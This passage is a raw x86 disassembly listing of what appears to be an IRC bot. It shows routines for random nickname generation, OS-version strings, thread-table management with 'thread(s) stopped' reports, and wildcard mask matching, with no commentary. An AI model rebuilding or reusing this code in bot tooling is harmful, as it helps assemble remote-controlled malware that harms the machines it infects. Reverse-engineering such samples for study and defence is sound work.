		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431280
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431280
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431284
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D158
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26C05CFh
		nop
		call	near ptr 2680D52h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_4312AC


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_4312A8
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_4312A4
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_4312A0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43129C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431298
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431294
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431290


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431288
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680D52h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B022
		mov	eax, offset dword_43D158


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_4312B0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B04D
		mov	eax, offset dword_43D158


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D5BC


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D634
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D5C0[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCE0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACE0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCE0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEE0[esi], eax
		and	dword_43DEE4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEE8[esi], 0
		mov	dword_43DEEC[esi], eax
		and	byte_43DEF8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22C4E50h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 4313B8h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C1C468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0E0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEF4[esi]
		lea	edi, dword_43DEF4[esi]
		call	near ptr 2680DFDh
		nop
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEE8[esi]
		mov	dword_43DEE0[esi], ebx
		mov	dword_43DEE4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEEC[esi]
		mov	byte ptr dword_43DCE0[esi], bl
		mov	byte_43DEF8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB03C
		lea	esi, dword_43DEF0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB03C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCE0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACE0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEE4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEE4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEE0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEE0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEF4[eax], ecx
		mov	dword_43DEE0[eax], ecx
		mov	dword_43DEE4[eax], ecx
		mov	dword_43DEE8[eax], ecx
		mov	dword_43DEEC[eax], ecx
		mov	dword_43DEF0[eax], ecx
		mov	byte ptr dword_43DCE0[eax], cl
		mov	byte_43DEF8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317D4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431438, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431440


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


